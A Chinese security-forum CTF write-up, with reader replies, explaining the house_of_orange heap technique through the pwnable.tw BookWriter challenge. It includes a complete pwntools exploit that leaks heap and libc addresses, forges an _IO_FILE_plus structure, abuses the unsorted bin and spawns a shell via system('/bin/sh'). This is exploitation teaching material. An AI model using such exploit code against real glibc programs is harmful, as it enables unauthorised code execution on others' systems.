首页
论坛
专栏
课程

[原创]从BookWriter看house_of_orange原理【新手向】

2017-12-15 13:55 9151

[原创]从BookWriter看house_of_orange原理【新手向】

2017-12-15 13:55
9151

0x00 背景


      最近在学习house_of_orange技术,house_of_orange技术已经和house_of_lore、house_of_Spirit一样,成为一种堆溢出利用技巧,思路来自ctf-HITCON-2016的同名题目。最近学习到这里,看了github上shellphish/how2heap中的讲解和多篇题解对漏洞触发条件依然不太理解,恰巧做到了pwnable.tw上的BookWriter题目,真正实践了一次。

0x01题目分析


首先这是一道逻辑清晰的题目,主要有添加书页、浏览书页、编辑书页和查看信息功能。



其中定义了两个int[8]数组在BSS段,分别存储书页的地址和书页内容大小信息,两数组在BSS段上位置相邻。

1. 添加操作使用从0~8顺序查找的方式,进行堆块申请,堆块大小由用户输入,并且用户此时可获得一次输入堆块内容的机会。


2. 查看书页内容操作,用户可输入0~7的数字查询书页内容。


3. 编辑操作,用户同样可输入0~7数字,根据存储在size数组的大小进行写入,并利用strlen函数,重新更新书页的size值。


4. 查看信息。打印一系列信息。


题目中给出的libc.so版本是 2.23.


0x02 漏洞分析


1. 堆地址泄露

可以主要到bss段上的排列顺序是char author_name[0x40]、int page[8]、int page_size[8]。在输入author_name时,输入长度是0x40,打印时使用%s,造成泄露page中存储的堆地址。

2. 堆溢出

堆溢出漏洞有两处,第一处在edit函数中,用户输入完数据后,程序使用strlen函数重置page_size的值,当用户输入与下一堆块中的size相连时,strlen会返回用户输入长度+下一堆块size,再次编辑造成了下一堆块的size被篡改。第二处在于add函数中对允许写入的判断是i<=8,page[i]==NULL。可以发现&page[8] = &page[0]的地址,当page[0]被覆盖为一个堆块地址时,造成了对page[0]超长写入,可以覆盖到很远的地址,可以说是一个等号引发的血案了。

0x03 漏洞利用


整个程序中没有出现free函数,常规的UAF、Double free都不存在。看了很多的house_of_orange资料,恰好想到使用这种方法,这种攻击成功需要如下条件(shellphish上提供的方法):

1. heap地址

2. 堆溢出

3. libc地址

4. libc 2.23及以下版本(2.24版本开始对vtable有check,不过也可以绕过)

house_of_orange思路简介:

1. 首先修改top块的size,然后申请一个较大的块(不大于mmap申请的阈值,大于top块当前大小),当修改的size满足一定条件时,原来的top会被释放到unsorted bin。

2. 通过堆溢出覆写原top内容,主要是构造IO_file_plus指针中的函数虚表,并伪造bk指针为unsorted bin攻击做铺垫。

3. 当再次申请内存时,造成unsorted bin attack,将__IO_list_all覆写为原top头地址,由于unsorted bin结构的破坏,程序异常,会在malloc中调用malloc_printerr函数进行错误打印,在malloc_printerr中调用__libc_message,进一步调用abort(),再调用 _IO_flush_all_lockp(),在其中调用了_IO_OVERFLOW(fp,EOF),这个函数是使用虚表调用,如果可以覆盖调用的虚表,就可以达到执行system('/bin/sh')。

针对上述步骤可以在这道题中一一对照实现。


首先是修改top块的size,可以通过add一个块,edit两次进行对top头size的覆写,经过修改,top的地址与大小如图所示:


这个size块覆写必须满足两点要求,top块才可被释放到unsorted bin

1.size>=MINSIZE 2. pre_inuse 2. top地址+size-1 是页对齐的(以000结尾,比如此题中0x187a020+0xfe1-1 = 0x187b000)


当满足这一点时,再次申请一个较大堆块时就会把这个top块释放到unsorted bin中,值得注意的是,此题有一个在info函数中调用了scanf函数,scanf内部会申请一个0x1000大小的块,且不释放,就可以达到将原top头释放到unsorted bin的目的,并且可以此函数可以泄露堆地址。



由于申请小堆块是从unsorted bin直接切割,可以通过分配得到的堆块泄露libc地址(main_arena+88)。

接下来就可以堆溢出构造unsorted bin攻击了。

首先看漏洞的触发,在genops.c的_IO_flush_all_lockp (int do_lock)函数中,fp会从_IO_list_all开始,当不满足某条件时,循环修改fp = fp->chain,执行 _IO_OVERFLOW,_IO_list_all是一个_IO_FILE_plus类型的指针,再libc中。


查看_IO_list_all内容,IO_list_all是一个_IO_FILE_plus指针,指向_IO_2_2_stdout,

其中包含一个虚表vtable,用于函数调用,包括许多函数



因此,思路可以是通过unsorted bin,将_IO_list_all指针内容修改,可以改到main_arena+88也就是unsorted bin头的地址,当改成这个地址时,其内容时不满足执行_IO_OVERFLOW,转而去寻找位于chain这个位置的地址,继续执行。为了继续构造,可以去把这个地方的地址写成我们能控制内存的地址,这个位置是main_arena+216,是在fastbin链中,堆块大小为0x60的fastbin的地址,可以通过把unsorted bin中的原top挂到fastbin的方法来进一步利用,可把原top头的地址修改成0x61,并且修改bk指针为&_IO_list_all-0x10。这样通过malloc新建堆块时,由于unsorted bin中的堆块不唯一,就会把unsorted bin中堆块释放到bin中去,释放原top头时,会把该块挂载到fastbin[4],也就是我们期待的位置去,然后再处理bk指针,也就是_IO_list_all,会触发堆块大小为0的错误,进一步触发malloc_printerr 等一系列函数...



下一步就是在原top内伪造_IO_file_plus结构体,满足

1.fp->mode>0

2._IO_vtable_offset (fp) ==0

3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

即可,构造的结构体如下:(不小心按错退出了,与原先的top地址有变化)



最终malloc一个堆块即可触发漏洞,获得shell

0x04 EXP


<span style="font-size: 13.86px;">from pwn import *
debug = 1
elf = ELF('./bookwriter')
if debug:
	p = process('./bookwriter')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	context.log_level = 'debug'
	
else:
	pass

def add(num,content):
	p.recvuntil('Your choice :')
	p.sendline('1')
	p.recvuntil('Size of page :')
	p.sendline(str(num))
	p.recvuntil('Content :')
	p.send(content)
def view(num):
	p.recvuntil('Your choice :')
	p.sendline('2')
	p.recvuntil('Index of page :')
	p.sendline(str(num))
def edit(num,content):
	p.recvuntil('Your choice :')
	p.sendline('3')
	p.recvuntil('Index of page :')
	p.sendline(str(num))
	p.recvuntil('Content:')
	p.send(content)
def info(num,content):
	p.recvuntil('Your choice :')
	p.sendline('4')
	p.recvuntil('(yes:1 / no:0) ')
	p.sendline(str(num))
	if(num):
		p.recvuntil('Author :')
		p.sendline(content)
	else:
		pass
def leak_heap():
	p.recvuntil('Your choice :')
	p.sendline('4')
	p.recvuntil('a'*0x40)
	result = u64(p.recvline()[0:-1].ljust(8,'\0'))
	p.recvuntil('(yes:1 / no:0) ')
	p.sendline('0')
	return result #int(resultq[0:-1],10)
#gdb.attach(p,'b *0x400bdd')
p.recvuntil('Author :')
p.sendline('a'*0x40)
add(0x18,'a'*0x18)   #0
edit(0,'a'*0x18)
edit(0,'\0'*0x18+'\xe1'+'\x0f'+'\0')
heap_addr = leak_heap()
for i in range(8):
	add(0x40,'p4nda123')#2
view(2)
p.recvuntil('p4nda123')
libc_addr  = u64(p.recvline()[0:-1].ljust(8,'\0'))


libc.address = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']
print 'libc_addr:',hex(libc_addr)
print 'system: ',hex(libc.symbols['system'])
print 'heap: ',hex(heap_addr)
edit(0,'\0'*0x290+'/bin/sh\0'+p64(0x61)+p64(libc_addr)+p64(libc.symbols['_IO_list_all']-0x10)+p64(2)+p64(3)+p64(0)*9+p64(libc.symbols['system']) + p64(0)*11 + p64(heap_addr+0x120+0x60+0x170) )

p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x10))
p.interactive()</span>


如有理解有误之处,希望大佬们指出改正...

参考:

https://www.anquanke.com/post/id/84987

https://zhuanlan.zhihu.com/p/31079264?utm_medium=social&utm_source=qq

http://www.cnblogs.com/shangye/p/6268981.html

https://github.com/shellphish/how2heap/blob/master/house_of_orange.c

https://www.sourceware.org/ml/libc-alpha/2016-02/msg00502.html




[公告][征集寄语] 看雪20周年年会(12.28上海) | 感恩有你,一路同行

上传的附件:
最新回复 (10)
MyLinks 2017-12-15 16:12
2
0
顶下
二进制忍者 2018-9-30 19:20
3
0
house of orange 其实不用leak heap,也能做
pwnda 2 2018-9-30 21:55
4
0
二进制忍者 house of orange 其实不用leak heap,也能做
恩恩,这个也是后学到的技术,当时做这个题的时候还不会。
iddm 3 2018-12-3 14:59
5
0
pwnda 恩恩,这个也是后学到的技术,当时做这个题的时候还不会。
师傅不leak heap的话,怎么把程序指向我们的控制流呢?能不能给个链接?
pwnda 2 2018-12-3 16:28
6
0
iddm 师傅不leak heap的话,怎么把程序指向我们的控制流呢?能不能给个链接?
可以参考一下 hctf-2017 simp1e师傅出的这题,可以不用泄露堆地址执行system("/bin/sh"),也可以用绕过大于2.23版本libc的vtable检测,链接如下:http://simp1e.leanote.com/post/Hctf-2017-babyprintf
iddm 3 2018-12-3 20:29
7
0
pwnda 可以参考一下 hctf-2017 simp1e师傅出的这题,可以不用泄露堆地址执行system("/bin/sh"),也可以用绕过大于2.23版本libc的vtable检测,链接如 ...
嗯嗯 谢谢师傅
mb_muzzkfuo 2019-9-12 00:32
8
0
额,不好意思。这个EXP似乎有问题。不确定是我的虚拟机的问题,还是程序本身,在 info() 的时候会申请一个0x1000的堆块。所以这里都不能使用info函数(虽然可以曲线救国,获取需要的东西)。再就是,EXP里泄露出的 libc 的地址也是错的,因为偏移错了。
顺便,我加不了第八个块(难道是我pwnable下的程序被patch了?但是ida的时候没发现问题啊。)
pwnda 2 2019-9-12 16:20
9
0
mb_muzzkfuo 额,不好意思。这个EXP似乎有问题。不确定是我的虚拟机的问题,还是程序本身,在 info() 的时候会申请一个0x1000的堆块。所以这里都不能使用info函数(虽然可以曲线救国,获取需要的东西)。再 ...
不确定是你说的哪个问题,如果说偏移错了应该是libc版本的问题,这个exp是快两年之前写的了,那个时候是可以打通的,不确定tw
是否有patch了 :)
mb_muzzkfuo 2019-9-13 22:53
10
0
抱歉,从你给的下载连接和从网站下载的程序的MD5值来看,是同一个程序。所以麻烦您再重新调下,exp是有问题的:2号块view时返回的,不是unsortbin的地址,而是largebin里的一个,因此,一个块能获得heap和libc。
最后于 2019-9-13 23:31 被mb_muzzkfuo编辑 ,原因:
pwnda 2 2019-9-18 12:21
11
0
mb_muzzkfuo 抱歉,从你给的下载连接和从网站下载的程序的MD5值来看,是同一个程序。所以麻烦您再重新调下,exp是有问题的:2号块view时返回的,不是unsortbin的地址,而是largebin里的一个,因此, ...
我用这个exp重新打了一遍还是可以打通的,不太清楚中间还有什么坑点:)
游客
登录 | 注册 方可回帖
返回